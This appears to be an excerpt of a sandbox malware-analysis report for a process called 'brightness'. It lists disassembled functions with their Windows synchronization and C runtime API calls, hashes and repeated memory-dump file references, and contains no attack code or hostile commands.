Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: 4e191df85056d28a1506173adfc98e663fa5d67f8289c636258b02d9bb4c2bc4
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: 2211433249018ABBCF525E86CD41CEE3F66BF19394B998425FA2859031D737C9B1AF81

Function 002C41F0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,002DBBFD), ref: 002C4217
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,002DBBFD), ref: 002C4233
CloseHandle.KERNEL32(00000000,?,002DBBFD), ref: 002C4277
CloseHandle.KERNEL32(00000000,?,002DBBFD), ref: 002C428E

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: CloseCreateEventHandle
String ID:
API String ID: 3369476804-0
Opcode ID: b2ad901f72ffa26e35c3a5b6b9022a59a193957bc34929c18d16b0bd58a89d04
Instruction ID: 79d94d8da99bc619f73dc8bcf78d70b079856ab45cb30cd074d95eacf28d295d
Opcode Fuzzy Hash: b2ad901f72ffa26e35c3a5b6b9022a59a193957bc34929c18d16b0bd58a89d04
Instruction Fuzzy Hash: 0911AD302A5305EFE7226F54ED9AF5BB7ACA744705F105A19BB01AA1E0CBF46494CB05

Function 002E92DC Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 002E92E8

Part of subcall function 002E81BE: __amsg_exit.LIBCMT ref: 002E81CE

__getptd.LIBCMT ref: 002E92FF
__amsg_exit.LIBCMT ref: 002E930D
__updatetlocinfoEx_nolock.LIBCMT ref: 002E9331

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 0be28ab3330b2f297d8a3a123cb04642d1ab674ebaaa3543e1c9de88da20f1b9
Instruction ID: 22f474cf4b50db1919f26d5e3dbd854317cc56a30ab45c49a28360fc5652aec8
Opcode Fuzzy Hash: 0be28ab3330b2f297d8a3a123cb04642d1ab674ebaaa3543e1c9de88da20f1b9
Instruction Fuzzy Hash: 0AF0BB319F4744DADB317B7B984375D73A06F00720F91414BF448AB1E6CB6459A18EA6

Function 002C21E0 Relevance: 6.0, APIs: 4, Instructions: 26synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000,?,002DBE5B), ref: 002C21F2
WaitForSingleObject.KERNEL32(00000000,000000FF,?,002DBE5B), ref: 002C220A
CloseHandle.KERNEL32(00000000,?,002DBE5B), ref: 002C2217
CloseHandle.KERNEL32(00000000,?,002DBE5B), ref: 002C2236

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventObjectSingleWait
String ID:
API String ID: 2857295742-0
Opcode ID: 09865922dbf38d8d6460fdc006cde4c407dd7e5377ebc0eead2023d2a099e133
Instruction ID: 5a38eee4f873cd18554c98efc9e9c7319c47ec037d70770128c6c7ee2bede890
Opcode Fuzzy Hash: 09865922dbf38d8d6460fdc006cde4c407dd7e5377ebc0eead2023d2a099e133
Instruction Fuzzy Hash: 87F0987111A200DBD717AF68EDCCB5ABBADA348315F104B19FA15D62B0C7F99898CF50

Function 002C42B0 Relevance: 6.0, APIs: 4, Instructions: 26synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000,?,002DBE60), ref: 002C42C2
WaitForSingleObject.KERNEL32(00000000,000000FF,?,002DBE60), ref: 002C42DA
CloseHandle.KERNEL32(00000000,?,002DBE60), ref: 002C42E7
CloseHandle.KERNEL32(00000000,?,002DBE60), ref: 002C4306

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventObjectSingleWait
String ID:
API String ID: 2857295742-0
Opcode ID: e58c0d2b5ab270a330752c70da59433c016b5a1ea367ed39ccfda08450f69825
Instruction ID: 05623ba00bf1d95fc3402d1b63bd5fb83ace79c025ef2cad83e9a6ceb51eae43
Opcode Fuzzy Hash: e58c0d2b5ab270a330752c70da59433c016b5a1ea367ed39ccfda08450f69825
Instruction Fuzzy Hash: D0F0F870112201DFD7129FA8EDDCB1BBBACA784305F004B18F611DA2B0CB789884CF00

Function 002E75A6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 002E8482: __getptd.LIBCMT ref: 002E848E
Part of subcall function 002E8482: _abort.LIBCMT ref: 002E84B0

___TypeMatch.LIBCMT ref: 002E75ED

Strings

csm, xrefs: 002E760A
bad exception, xrefs: 002E75CC

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: MatchType__getptd_abort
String ID: bad exception$csm
API String ID: 4000028418-1249633139
Opcode ID: 0b6bcc1c17bbd0743a3b509b9db8e4bdde75f2ff7156fed5a729dd991485ddb9
Instruction ID: 31319ab11d9bcb6c8c1b0165b95ace48339fc4baf19d0c2a478009c8be65f98b
Opcode Fuzzy Hash: 0b6bcc1c17bbd0743a3b509b9db8e4bdde75f2ff7156fed5a729dd991485ddb9
Instruction Fuzzy Hash: EF018071968286AFCB00DFAEC480A9DBBB8FF04318F948095EC44D7202D771EA65CF61

Function 002E778B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 002E39FB: __getptd.LIBCMT ref: 002E3A01
Part of subcall function 002E39FB: __getptd.LIBCMT ref: 002E3A11

__getptd.LIBCMT ref: 002E779A

Part of subcall function 002E81BE: __amsg_exit.LIBCMT ref: 002E81CE

__getptd.LIBCMT ref: 002E77A8

Strings

csm, xrefs: 002E77B6

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
